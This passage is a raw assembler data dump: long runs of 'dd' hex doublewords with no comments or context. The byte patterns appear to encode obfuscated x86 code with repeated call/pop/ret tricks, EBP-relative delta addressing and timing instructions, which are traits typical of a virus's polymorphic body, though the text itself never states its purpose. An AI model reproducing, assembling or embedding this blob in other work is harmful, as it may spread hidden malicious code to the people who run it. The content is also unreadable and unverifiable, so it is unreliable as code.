		dd 5EA1641h, 968CBB61h,	86895BBAh, 0C4h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 18h, 2C35545h, 42D42630h
		dd 0ADD958Bh, 665705EAh, 59F3EB81h, 4C2835Fh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 14C35545h, 4E2ACF81h
		dd 50894C82h, 51006A20h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 0BFF95F61h, 0C1A3BB6Bh, 858D18DEh
		dd 5EDEB67h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	2CC35545h, 79BD8BFEh, 8905EA2Ch, 0B886h, 258D8900h
		dd 6A05EA29h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 1F72EBFBh, 52558AA8h, 8B5BF88Bh
		dd 0EA1095BDh, 0E0B5FF05h, 0E905EDD9h, 7, 37CAF5E2h, 89452159h
		dd 0EA1CED9Dh, 3D95FF05h, 6A05EA16h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0A4C9C356h
		dd 0D88B21F2h, 68D0F53h, 3000000h, 0EA2585BDh, 66505B05h
		dd 89FB4DBFh, 0BB662434h, 0B5FF4EB8h, 5EDD9E0h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0E3C35040h, 0EFFE41F5h
		dd 6D9D2B14h, 8A05EA11h, 0A995FFFAh, 0F05EA15h,	0BD83F9B7h
		dd 5EA115Dh, 0E840F00h,	53000000h, 5F87DF80h, 50965096h
		dd 5777BF66h, 0E0B5FF5Bh, 6A05EDD9h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0C919C350h
		dd 667B27D6h, 0FF3B61BFh, 0EA1CC995h, 68B0F05h,	89000000h
		dd 0EA105DB5h, 0E0B5FF05h, 6A05EDD9h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 2C46C352h
		dd 9D8B4C43h, 5EA1ED1h,	230D95FFh, 6A05EAh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0E4351EC3h
		dd 0BD035BF1h, 5EA2B35h, 0C890Fh, 810F0000h, 6,	8B0Fh
		dd 85290000h, 5EA252Dh
		dd 631BD83h, 0F0205EAh,	5284h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 177A3C19h
		dd 0FCFD4895h, 95858BF8h, 6A05EA0Ch, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0F222C352h
		dd 2A15B589h, 0C605EAh,	0C78BB300h, 0EA097D85h,	5, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0ED850934h, 0E905EA1Ch, 0FFFFF438h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 32C35747h, 0C85E22ABh, 8B60C18Bh
		dd 5D8D0BC1h, 6105EA10h, 2AD9BD8Bh, 858D05EAh, 5EA298Dh
		dd 2331BD8Bh, 0E89005EAh, 0Eh, 0F5924D0Ah, 792B65FAh, 0CAE3C842h
		dd 505BE835h, 0DA8B5250h, 585A310Fh, 69B58990h,	6A05EA0Fh
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0BF0FC4CDh, 5E8D9h, 0F7840000h, 29498819h
		dd 0EA23EDBDh, 6A5B05h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 5BC35242h, 8DBD893Ch,	8D05EA0Ch, 0EE84B185h
		dd 13E905h, 1BED0000h, 280E652Fh, 0DCD65C81h, 5189A2EFh
		dd 0AD42BC80h, 5C0833Fh, 928EBB66h, 24048950h, 0D5F78166h
		dd 6A006AA3h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0FC2C350h, 6AFEBFh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0E2C35141h, 1BD8BF8h
		dd 6005EA0Ah, 10E8h, 0E07A4700h, 0C10AF522h, 3D4F6FD6h
		dd 30B2053Eh, 12E9F6h, 87070000h, 0E51FE54Fh, 0F928F2Fh
		dd 411DECAEh, 82531856h, 0F59D2958h, 6105EA17h,	23E995FFh
		dd 6A05EAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0B58ECAC3h, 0CDE575A6h, 8D8D1F64h, 5EDD89Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F3C35545h
		dd 689B1260h, 0B70FF8FFh, 8BD1FFDEh, 0EA1CB19Dh, 0D1BD8305h
		dd 105EA02h, 9C850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 58CFC6C3h, 89944CFDh
		dd 0F243CA3h, 0D88BD8BFh, 6A026Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0AF7771C3h, 64C873Eh
		dd 9509807Ch, 5EA2EF1h,	30659D8Bh, 535005EAh, 895BD98Bh
		dd 0B70F2404h, 3D95FFDBh, 6A05EA16h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0F3E0C355h
		dd 1D96A7E4h, 0D5191AB3h, 1D698D09h, 0BB6605EAh, 91E9F757h
		dd 0E800000Eh, 0
		dd 0BBED815Dh, 0F05EE84h, 6AFBBFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 8B310CC3h, 0EA0EF19Dh
		dd 87858D05h, 6A05EDC3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 4241C356h, 5150D98Bh
		dd 895BFE8Bh, 0CF802404h, 35FF64E4h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 5FC35646h
		dd 12E9FCECh, 0CF000000h, 3DE61E9h, 9A33AB29h, 64B79848h
		dd 0A9E4ADB9h, 25896447h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 82C35545h
		dd 489B32F4h, 1DA59D8Bh, 85FF05EAh, 5EA1C49h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 32C35747h, 516ED365h
		dd 70DB589h, 0FF6A05EAh, 879BD8Bh, 0B5FF05EAh, 5EA0C29h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0FFC35343h
		dd 0C84DB852h, 0A170A254h, 16B58589h, 95FF05EAh, 5EA1449h
		dd 133E9h, 5870F00h, 0BF000000h, 37090955h, 0BB6600B0h
		dd 70E6492Fh, 0BE8h, 231D4600h,	2737A8C2h, 0A7A984C2h
		dd 0FC71E45Fh, 830F613Ch, 104h,	7E9h, 0AC0A2E00h, 953D8496h
		dd 0E8C8B60Fh, 0Ah, 0C9817FDEh,	14745DEEh, 9D8B6D47h, 5EA2995h
		dd 6BA5Fh, 9D890000h, 5EA0839h,	1880Fh,	8BFC0000h, 0F1BD8BC1h
		dd 0C105EA29h, 0CBBF04E8h, 504B947Dh, 0F7665FF5h, 4DFBBFE2h
		dd 0C82B022Eh, 0A4E78166h, 9D18B48h, 0EA07199Dh, 0D88B6605h
		dd 6E9h, 219D8B00h, 8B05EA1Bh, 0EA121D85h, 359D8B05h, 0F905EA32h
		dd 6607C083h, 834034BFh, 0BD8900C0h, 5EA31C1h, 830FD03Bh
		dd 10h,	2F3C60BBh, 66E912h, 0B5890000h,	5EA29D5h, 146D8D8Bh
		dd 0BF6605EAh, 0E183B153h, 4D840F01h, 81000000h, 0A61AF0EFh
		dd 6DA58313h, 0FE05EA14h, 6E8h,	0B5DD5E00h, 0FFEB2B3h
		dd 689h, 21958900h, 5F05EA0Ah, 121D9589h, 816005EAh, 28D2E4D3h
		dd 0AE972h, 0E34F0000h,	5B701C03h, 0F2E6B329h, 6D9D8961h
		dd 0E905EA0Ch, 0
		dd 7EEB58Dh, 6A05EEh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 4570C6C3h, 0B70FE4DCh, 6A006ADBh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 4715C350h, 0D7100544h, 2519B21h, 48F0Fh
		dd 0BF660000h, 95FF2272h, 5EA1015h, 6C70AABBh, 9D7B90Eh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 2D29ADC3h, 0EB804FA2h, 0EE951h, 0CE370000h
		dd 0F6D064B0h, 0AEFE9E1Bh, 0E7ADFA6Dh, 0FCFCE183h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 86C35747h, 630F9D23h
		dd 0F55C380Dh, 0C02BE8B3h, 88C0Fh, 60600000h, 6BF6661h
		dd 0D22B6144h, 0A8B0Fh,	8B600000h, 11BD89D8h, 6105EA07h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0B1C35242h,	6AFEB70Fh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 7D84C357h, 0FB1668Eh, 8531DABFh, 5EA2C21h, 880Dh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0FF02776Eh, 0ABD99F92h, 958BD583h, 5EA0ADDh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 86C35545h, 0B94B423Ah
		dd 62CCF9BAh, 65BD8960h, 8B05EA08h, 8D8B61D0h, 5EA0ACDh
		dd 0B68CBB66h, 50DEB70Fh, 188BC28Bh, 188BC103h,	0E8D1C18Bh
		dd 188BC203h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 22435AFCh, 11E9h,	12A06200h, 658070DBh
		dd 76F93479h, 0AC7B893Ch, 0BD8333F1h, 5EA0819h,	59840F00h
		dd 66000000h, 0B8F98Bh,	0F8000000h, 8E9h, 9A47BB00h, 0CB0113B4h
		dd 218D8D47h, 0FF05EA4Ch, 51006AE1h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 1C0FF0CEh
		dd 0E3B72DDCh, 0F8C0FFCh, 0E9000000h, 0Ah, 4499D95Dh, 0AFEF5FE7h
		dd 0DE8BAFA6h, 25F5BD83h, 0F0005EAh, 4E384h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0A1573E7Fh, 0B81B1E5h, 25F5BD83h, 0F0105EAh,	4CE84h
		dd 83DD8A00h, 0EA25F5BDh, 860F0305h, 489h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 61C35141h, 377A5C85h
		dd 312D8589h, 666005EAh, 6AD98Ch, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 33FCC6C3h, 0BD8BAB15h
		dd 5EA1699h, 0A11896BFh, 4E18064h, 5800Fh, 81660000h, 0A4BA9F7h
		dd 9E840FC9h, 6A000001h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 20DEC351h, 0E91F952Ch
		dd 9, 0A2BEE31Ch, 2CA78A82h, 29858B32h,	6A05EA16h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 160CC350h, 0F9A226D6h, 15358533h, 6A05EAh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 6A8EB9C3h
		dd 7C90FBD7h, 0ED9589EAh, 5005EA08h, 5880Fh, 0CBF0000h
		dd 891048CEh, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 9F121CC3h, 0FB07959h, 0F83h, 0AE900h
		dd 0C4510000h, 0E1152109h, 0A0C8599Ch, 6A006Ah,	3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0ABFEE5C3h, 6999D89h, 0BD8B05EAh, 5EA3165h, 4E8h, 1F03FF00h
		dd 52505100h, 8E8310Fh,	8000000h, 0B654AC30h, 5F6DFC88h
		dd 505B585Ah, 8BDA8B66h, 8B042444h, 0B3008BFBh,	244489DBh
		dd 0B3DBBB04h, 6A5840F2h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 39B7C353h, 48A7B6DDh
		dd 3DBF2E1Fh, 0F0A87A3h, 68Eh, 0D1BD8B00h, 0FF05EA0Eh
		dd 0EA320D95h, 0CDBD8905h, 8905EA12h, 0EDD9E085h, 0E9FD8A05h
		dd 234h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 17h,	2AC35747h, 89996989h, 0EA0BAD8Dh, 0D8858B05h, 0F05EDD9h
		dd 0C7F9BFh, 18h, 0BD8BFB8Bh, 5EA02BDh,	0D9DCB58Bh, 800F05EDh
		dd 16h,	108D0Fh, 0BE90000h, 61000000h, 3906036Dh, 90F0693Eh
		dd 858B969Bh, 5EA29E5h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 81C35646h, 73519A52h,	15D78166h, 8B06892Fh
		dd 0EA2AE99Dh, 29858B05h, 8905EA16h, 0EA0061B5h, 4468905h
		dd 7E8h, 7A713700h, 0B57AEAEAh,	8403A3BFh, 8B665B15h, 9E896D9h
		dd 0A2000000h, 0B9CBD3F0h, 49398B3Ah, 0F88B6660h, 0E9505F61h
		dd 7, 49D6E374h, 96839A14h, 2807DB81h, 815257F1h, 1C3DD6E7h
		dd 0B5FF5F69h, 5EDD9D8h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0A4C35343h, 0B5A585F0h, 894B028Bh, 0EA3271BDh
		dd 4E805h, 3FF0000h, 5060001Fh,	0F616052h, 5AD48A31h, 98DFBE58h
		dd 50615B69h, 95CA6CBBh, 24448B31h, 8E95304h, 1C000000h
		dd 0B3295B70h, 5BFBF2E6h, 5250008Bh, 310F5F53h,	12E951h
		dd 0EF100000h, 2FC19596h, 46F5B6EBh, 2C1D1952h,	9D98FE00h
		dd 89585A5Fh, 0E9042444h, 0Dh, 5E76FB2Dh, 93942EF4h, 9A002837h
		dd 6A58A7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0B409F1C3h, 78708398h, 0D9E0858Dh, 6A05EDh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0CCA841C3h, 0B5896063h, 5EA1091h, 0F6D38166h, 66906188h
		dd 50F999BFh, 90D98B66h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 15h, 81C35141h, 0D19D8B63h, 0F05EA25h, 488h
		dd 5F505600h, 0D95FF5Fh, 6A05EA32h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 55C5C353h
		dd 78EC9BD6h, 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 85835B12h, 60FDDD16h, 14B5B589h
		dd 0C76105EAh, 0EA25F585h, 305h, 0A5858900h, 8305EA24h
		dd 0EDD9E0BDh, 840F0005h, 29h, 1BD8B56h, 5B05EA2Ch, 11E9h
		dd 0BDE8C000h, 5035A223h, 54B5844Eh, 75CBBF19h,	21E94968h
		dd 8B000000h, 0EA2AF59Dh, 0C305005h, 11440011h,	10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 10559589h, 6A05EAh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0C47CAAC3h, 94CFB24Ah, 0BD8B60C2h, 5EA1DC5h,	105D9589h
		dd 836105EAh, 0EA25F5BDh, 850F0305h, 429h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0FFC35343h, 4E14DD77h
		dd 0F6A4000h, 93BFF9BFh, 83550CEFh, 0EDD9E0BDh,	840F0005h
		dd 3F1h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0E9C35646h, 8B1E310Bh
		dd 0B5FFF8F8h, 5EDD9E0h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 15C35545h, 242AFA98h,	9501056Ah, 5EA256Dh
		dd 128D95FFh, 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0B6F159C3h, 0D80D83A3h, 8B0BE6DAh
		dd 0EDD9D4B5h, 9D896005h, 5EA02A5h, 5820Fh, 2CBB0000h
		dd 612BCBACh, 106C7h, 6A0001h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 4A248AC3h, 85DBCD12h
		dd 96AD757Eh, 0DF8B6650h, 50006A96h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0FF91D2A0h
		dd 0EDD9E0B5h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0A8C4EA74h, 0B589A9B9h
		dd 5EA0985h, 326995FFh,	0BD8905EAh, 5EA1D79h, 0D9D4B58Bh
		dd 0B70F05EDh, 91B589F9h, 8B05EA15h, 0EA088185h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 62ADB7D7h, 8A0F60A7h, 6, 29399523h, 0BF6105EAh, 9C4099Bh
		dd 0C48689h, 0F98B0000h, 0ADD958Bh, 6A05EAh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0CE8469C3h
		dd 0F4F7F9E7h, 2CA2BF66h, 5E9h,	4A950900h, 0C2835799h
		dd 0F1BD2304h, 8905EA30h, 9D8B2050h, 5EA24FDh, 0EB67858Dh
		dd 0B58905EDh, 5EA0AE9h, 0B88689h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 899F5EC3h
		dd 0EA0D51BDh, 0F006A05h, 18Ch,	0B5FFF500h, 5EDD9E0h, 18C0Fh
		dd 0FFF90000h, 0EA163D95h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0B53C22D1h
		dd 97A8A21Ch, 29298509h, 8B9605EAh, 525050DAh, 0A0DE54BBh
		dd 5A310F3Dh, 6A9658h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 1EA16EC3h, 0F891F696h, 66A3069Dh
		dd 0B5FFDF8Bh, 5EDD9E0h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 4FC35242h, 0AA89FDBh,	0B9F11206h, 858951F0h
		dd 5EA2E85h, 0A995FF5Fh, 6A05EA15h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0FF6C350h
		dd 624F0E42h, 6D8D8981h, 8305EA1Ah, 0EA115DBDh,	840F0005h
		dd 43h,	8E9h, 0E65B8700h, 0CBEDCEEAh, 0B7505043h, 34895BADh
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 5CF0E5A6h, 0A71181F7h, 2FF19D8Bh, 816605EAh
		dd 0FFC979E3h, 0EDD9E0B5h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 7E824C2h, 2F000000h
		dd 8D53CC2h, 8C0F1A02h,	6, 0CCFADB81h, 0FF5F5E78h, 0EA1CC995h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0AAC7BDE4h, 67F82BBEh, 3890Fh, 8B660000h
		dd 0E0B5FFFBh, 6605EDD9h, 0FF0AF4BBh, 0EA230D95h, 0FCB36005h
		dd 0A109BF66h, 31BD8361h, 205EA06h, 37840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 89AE6FC3h, 0EA28E1BDh, 95858B05h, 0BF05EA0Ch, 9A3812Fh
		dd 890000C6h, 0EA022985h, 7D85C705h, 5EA09h, 29000000h
		dd 0EA251585h, 0F298E905h, 6AFFFFh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0E4E412C3h
		dd 0F5B40A86h, 8589C18Bh, 5EA13A5h, 3AF78150h, 5B3C42F2h
		dd 298D858Dh, 6A05EAh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 625EFCC3h, 5F26FD7Ah, 503E4014h
		dd 16840Fh, 0AE80000h, 4C000000h, 7D12DA9Ch, 0BC9E29BCh
		dd 850FC0h, 5B000000h, 66240489h, 1FBFFB8Bh, 6A7DF2B7h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 47B61FCh, 0E026F4D6h, 11BD8BDEh,	6A05EA12h
		dd 99858D00h, 6A05EE95h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0D650C357h,	64578BA8h
		dd 10E98059h, 3B000000h, 15117FEEh, 71FB26D1h, 30630476h
		dd 83341D71h, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0C480EC3h, 2A317FCEh, 0F8F90C29h
		dd 0BB665750h, 895FFB81h, 6A2404h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0E6F6A5C3h, 1455B589h
		dd 12E905EAh, 8D000000h, 60CF5E93h, 0FEBE071Eh,	0CD67B9CEh
		dd 2EE697DEh, 66006A36h, 6AFF7BBBh, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 68FE5045h
		dd 0E9923F08h, 0Ch, 4286EC89h, 0A010B81Fh, 257CC1F0h, 80D38166h
		dd 0E995FF36h, 8D05EA23h, 0EDD89D8Dh, 0E9858905h, 0FF05EA30h
		dd 51006AD1h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 0DE08314Dh, 34493664h, 0BD830389h, 5EA02D1h
		dd 9F850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 948AC356h, 0A5340DFh
		dd 26AE85Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	94C35646h, 0E85EABAEh, 5, 0F29EC761h, 852B6043h
		dd 5EA329Dh, 8E9h, 697B3400h, 6B27868Bh, 505F61D8h, 5E9h
		dd 0C07D0E00h, 489A393h, 3D95FF24h, 6A05EA16h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 6319C350h, 0E9E17837h, 0DB8166B3h, 47E9D5BBh, 0E800000Eh
		dd 0
		dd 0A3ED815Dh, 6A05EE95h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0B86CC355h,	0EF686B57h
		dd 33A81DEh, 0EEDEBA60h, 0BD893E77h, 5EA00ADh, 0C1BD8961h
		dd 6A05EA2Ah, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0A6B3C353h, 199B696Bh,	8DDBB70Fh
		dd 0EDC38785h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 9DBD03D5h, 5005EA0Dh
		dd 4EFDE5BBh, 24048955h, 8758589h, 14E905EAh, 61000000h
		dd 6429B214h, 0DC8BEFFBh, 2A963A72h, 9EE147E8h,	6487F664h
		dd 35FFh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 92FC97C3h, 7BBD70EEh, 258964h, 89000000h
		dd 0EA0D81B5h, 4985FF05h, 8905EA1Ch, 0EA0CE185h, 6AFF6A05h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 0D8EEC356h, 0F8319D85h, 60EA613Dh, 24BD9D29h
		dd 0BD0905EAh, 5EA0FCDh, 89B5FF61h, 8B05EA11h, 0EA1291BDh
		dd 4995FF05h, 0E905EA14h, 0F1h,	0C56BF66h, 8B6600B0h, 8B70E6FAh
		dd 0EA13F1BDh, 6840F05h, 8B000000h, 0EA2F45BDh,	3171E405h
		dd 0EA00D595h, 0F613C05h, 0C483h, 810F00h, 0F000000h, 9D31C8B6h
		dd 5EA29D5h, 6BAF9h, 0BD8B0000h, 5EA0319h, 0E780C18Bh
		dd 4E8C1F8h, 56F6BF66h,	0F9E2F766h, 0BF0FC82Bh,	0FD18BFFh
		dd 181h, 9D8BFC00h, 5EA0F39h, 5E9h, 0F7816600h,	858B9D73h
		dd 5EA1589h, 1A419D8Bh,	0C08305EAh, 81BD8B07h, 8305EA20h
		dd 895300C0h, 0EA305585h, 0D03B5B05h, 0E830Fh, 8B660000h
		dd 4BE9DFh, 95890000h, 5EA0149h, 14D58D8Bh, 83F805EAh
		dd 840F01E1h, 35h, 0FE8h, 49AD3C00h, 3527C051h,	0FA94E743h
		dd 60BFC8EEh, 0E393E381h, 835B61E7h, 0EA14D5A5h, 0DB81FE05h
		dd 20412B52h, 15899589h, 0F98B05EAh, 0E9h, 58B58D00h, 6605EE13h
		dd 99F9C781h, 0EB80006Ah, 1595FFEEh, 6605EA10h,	8B66DA8Bh
		dd 79EB9D9h, 81660000h,	83D4FEE3h, 9D8BFCE1h, 5EA327Dh
		dd 57006AFCh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 29392BA5h, 0C02BE6F1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0DBC35545h,	806D62C3h, 0BA91EBh
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0A1BCC351h, 11E9h, 0ACD17B00h
		dd 4BDDAC07h, 68618B02h, 0D1A0F775h, 33AD0E8Bh,	3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0E2D339C3h, 9995896Ch, 6A05EA0Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 81D6C355h, 58A64EC2h, 880DCF9Ah, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0D833C353h, 0FE31EB50h, 2BB3BC5Fh, 0F557BF66h
		dd 0ADD958Bh, 0BF0F05EAh, 0CD8D8BFFh, 6A05EA0Ah, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0A6DCC351h, 0AE8h, 90C1BC00h, 0AE323942h, 890187B9h
		dd 0EA078DBDh, 8B505F05h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 15h,	43C35040h, 6985295Dh, 105EA1Ah,	0EA30DD85h, 0A6AEBB05h
		dd 0BD8327A5h, 5EA0819h, 0AE840F00h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 63AC350h, 0DE17EDC2h, 8ADD3F79h, 0B8FAh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0E0DF74C3h, 5AA67011h, 1DA5BD89h, 8D8D05EAh,	5EA4C21h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 29C35242h
		dd 0BA6FDBBFh, 0F2D585Fh, 8Ch, 6AE1FF00h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 68EAC356h
		dd 51419E34h, 812EB188h, 631011EFh, 0F5BD836Eh,	5EA25h
		dd 469840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0BD8367C3h, 5EA25F5h, 5B840F01h
		dd 6A000004h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 60C5C350h, 0E1B531F5h,	6105EA00h
		dd 25F5BD83h, 0F0305EAh, 3F386h, 0A4C2BF00h, 89604747h
		dd 0EA2D7D9Dh, 0D98C6605h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 93C35141h, 0F7F81B48h, 8B62702Dh, 0EA0EB99Dh
		dd 4E18005h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0B8C35242h, 0F9A9EE5Dh,	9D0BCF11h, 5EA1D91h, 840FC90Ah
		dd 109h, 858BB1B7h, 5EA1629h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 9BC35040h, 44D16373h, 0BF71625Fh
